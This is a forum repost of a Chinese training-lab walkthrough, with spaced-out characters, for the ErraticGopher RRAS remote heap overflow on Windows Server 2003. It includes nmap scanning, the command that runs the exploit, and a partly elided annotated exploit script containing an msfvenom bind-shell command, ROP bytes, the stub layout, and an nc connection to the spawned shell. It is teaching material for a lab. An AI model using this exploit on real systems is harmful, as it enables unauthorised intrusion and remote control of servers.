搜索

[19324] 2018-05-30_【动手实验】ErraticGopher（古怪地鼠）远程溢出漏洞

文档创建者：s7ckTeam
浏览次数：41
最后更新：2025-01-18
2018-05-30_【动手实验】ErraticGopher（古怪地鼠）远程溢出漏洞 【 动 手 实 验 】 E r r a t i c G o p h e r （ 古 怪 地 鼠 ） 远 程 溢 出 漏 洞 i 春 秋   2 0 1 8 - 0 5 - 3 0 实 验 环 境 实 验 环 境 操 作 机   ： K a l i   2 0 1 7 操 作 机 I P ： 1 7 2 . 1 6 . 1 1 . 2 目 标 机 ：   W i n d o w s   S e r v e r   2 0 0 3   S P 2 目 标 机 I P ： 1 7 2 . 1 6 . 1 2 . 2 工 具 下 载 地 址 :   f i l e . i c h u n q i u . c o m / b y 8 f 5 s d s 实 验 目 的 实 验 目 的 认 知 W i n d o w s 远 程 溢 出 漏 洞 的 危 害 知 悉 E r r a t i c G o p h e r   R R A S 服 务 漏 洞 的 发 现 和 验 证 过 程 学 习 使 用 P y t h o n 脚 本 运 行 e x p l o i t 实 验 工 具 实 验 工 具 N m a p : 端 口 扫 描 探 测 工 具 ， 用 于 探 测 端 口 开 放 情 况 ， 本 次 使 用 其 端 口 扫 描 功 能 。 p y t h o n 运 行 环 境 运 行 环 境 用 于 本 次 实 验 的 e x p l o i t   p y t h o n 脚 本 运 行 实 验 内 容 实 验 内 容 漏 洞 原 理 简 述 漏 洞 原 理 简 述 E r r a c t i c g o p h e r 为 N S A 泄 露 的 漏 洞 利 用 框 架 中 用 于 针 对   R R A S （ R o u t i n g   a n d   R o m o t e   A c c e s s ） 服 务 的 模 块 ， 该 服 务 主 要 用 于 在 局 域 网 以 及 广 域 网 环 境 中 为 企 业 提 供 路 由 服 务 。 漏 洞 是 通 过 W i n d o w s   D C E - P R C 远 程 调 用 M I B E n t r y G e t 函 数 时 候 引 起 的 堆 内 存 溢 出 。 溢 出 后 ， 因 为 魔 术 字 节 的 作 用 ， 应 用 被 重 定 向 到 i p r t r m g r . d l l 库 中 的 一 个 R E P S   M O V S   指 令 . 。 该 操 作 从 堆 把 被 注 入 代 码 中 的 一 部 分 （ 脚 本 中 s t u b 插 桩 部 分 ） 复 制 到 栈 里 ， 覆 盖 了 一 个 返 回 地 址 并 且 S E H ( S t r u c t u r e d   E x c e p t i o n H a n d l i n g ) h a n d l e r   被 存 储 进 栈 中 ， 控 制 执 行 流 向 去 绕 过 D E P ( D a t a   E x e c u t i o n   P r e v e n t i o n ) , 跳 到 执 行 系 统 用 户 的 s h e l l c o d e 。 实 验 步 骤 实 验 步 骤 步 骤 一 ： 步 骤 一 ：   端 口 探 测 端 口 探 测
打 开 K a l i 终 端 ， 使 用 N m a p 对 目 标 机 开 放 端 口 进 行 扫 描 n m a p     - s V   - P n           1 7 2 . 1 6 . 1 2 . 2 目 标 机 开 放 了   1 3 5   1 3 9   4 4 5 1 0 2 6   3 3 0 6   3 3 8 9   3 0 8 0 端 口 ， 且 目 标 机 系 统 为 W i n d o w s   s e r v e r   2 0 0 3 。 步 骤 二 ： 步 骤 二 ：   使 用 用 使 用 用 p y t h o n 脚 本 验 证 脚 本 验 证 切 换 到 脚 本 目 录   ~ / 桌 面 。 c d     ~ / 桌 面 然 后 进 行 执 行 脚 本 （ 访 问 （ 访 问   f i l e . i c h u n q i u . c o m / b y 8 f 5 s d s 下 载 脚 本 文 件 ） 下 载 脚 本 文 件 ） p y t h o n   e x p l o i t . p y     1 7 2 . 1 6 . 1 2 . 2 获 取 w i n d o w s   s h e l l 。 步 骤 三 ： 脚 本 分 析 步 骤 三 ： 脚 本 分 析
# B y   V i c t o r   P o r t a l   ( v p o r t a l )   f o r   e d u c a t i o n a l   p o r p o u s e   o n l y           # T h e   e x p l o i t   o n l y   w o r k s   i f   t a r g e t   h a s   t h e   R R A S   s e r v i c e   e n a b l e d # T e s t e d   o n   W i n d o w s   S e r v e r   2 0 0 3   S P 2 # 只 展 示 部 分 代 码 ， 完 整 代 码 请 在 实 验 中 查 看 i m p o r t   . . . p r i n t   ' [ - ] I n i t i a t i n g   c o n n e c t i o n ' # 用   t r a n s p o r t 类 构 造 一 个 D C E - R P C 链 接 t r a n s = t r a n s p o r t . D C E R P C T r a n s p o r t F a c t o r y ( ' n c a c n _ n p : % s [ p i p e b r o w s e r ] '   %   t a r g e t ) t r a n s . c o n n e c t ( ) e g g h u n t e r   =   " . . . " # m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - p   w i n d o w s / s h e l l _ b i n d _ t c p   l p o r t = 4 4 4 4   - b   " x 0 0 "   - f   p y t h o n # b u f 是 用 m e t a s p l o i t 生 成 的 w i n d o w s 平 台 等 待 链 接 的 s h e l l ， 具 体 命 令 在 注 释 中 ， 参 数 l p o r t 指 W i n d o w s   S e r v e r 2 0 0 3 # 上 等 待 链 接 的 服 务 端 口 。 b u f   =     " " b u f   + =   " . . . "   b u f   + =   " x c 4 x 2 5 x 3 d x e 9 " # N X   d i s a b l e   r o u t i n e   f o r   W i n d o w s   S e r v e r   2 0 0 3   S P 2 # r o p （ 包 含 e g g h u n t e r 部 分 ） 是 用 来 关 闭 W i n d o w s   s e r v e r   2 0 0 3 的 r o u t i n e r o p   =   " x 3 0 x d b x c 0 x 7 1 "   # p u s h   e s p ,   p o p   e b p ,   r e t n   w s _ 3 2 . d l l r o p   + = " . . . " r o p   + =   " x 9 0 " * 4 # r o p 以 及 b u f 放 入 s t u b 生 成 要 发 送 的 e x p l o i t s t u b   =   " . . . "   # M a g i c   b y t e s s t u b   + =   " x 4 1 " * 2 0   +   r o p   +   " x C C " * 1 0 0   +   " w 0 0 t w 0 0 t "   +   b u f   +   " x 4 2 " * ( 1 3 1 3 - 2 0 - l e n ( r o p ) - 1 0 0 - 8 - l e n ( b u f ) )   s t u b   + =   " x 1 2 "   # M a g i c   b y t e s t u b   + =   " x 4 6 " * 5 2 2 s t u b   + = " x 0 4 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 "   # M a g i c   b y t e s # 通 过 d e c . c a l l ( ) 函 数 远 程 调 用 M I B E n t r y G e t 函 数 ， 该 函 数 的 i d 为 0 x 1 d ， 然 后 发 送 s t u b 部 分 d c e . c a l l ( 0 x 1 d ,   s t u b )   # 0 x 1 d   M I B E n t r y G e t   ( v u l n e r a b l e   f u n c t i o n ) p r i n t   " [ - ] E x p l o i t   s e n t   t o   t a r g e t   s u c c e s s f u l l y . . . " # 通 过 系 统 调 用 n c 工 具 链 接 W i n d o w s   S e r v e r   2 0 0 3 上 的 4 4 4 4 端 口 ， 连 通 后 ， s h e l l 链 接 成 功 。 o s . s y s t e m ( " n c   "   +   t a r g e t   +   "   4 4 4 4 " ) 实 验 结 果 分 析 与 总 结 实 验 结 果 分 析 与 总 结 通 过 本 次 实 验 ， 我 们 学 习 了 从 发 现 漏 洞 、 到 验 证 漏 洞 、 再 到 利 用 漏 洞 这 一 整 个 过 程 。 后 续 我 们 会 进 一 步 探 索 其 他 漏 洞 。 编 辑 ： 咕 嘟 嘟 责 任 编 辑 ： M A D 小 郭 校 对 ： 小 林 龙 马 、 山 雾 草 野 、 小 南 瓜 戳 阅 读 原 文 ， 参 与 实 验 吧 戳 阅 读 原 文 ， 参 与 实 验 吧 ~
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理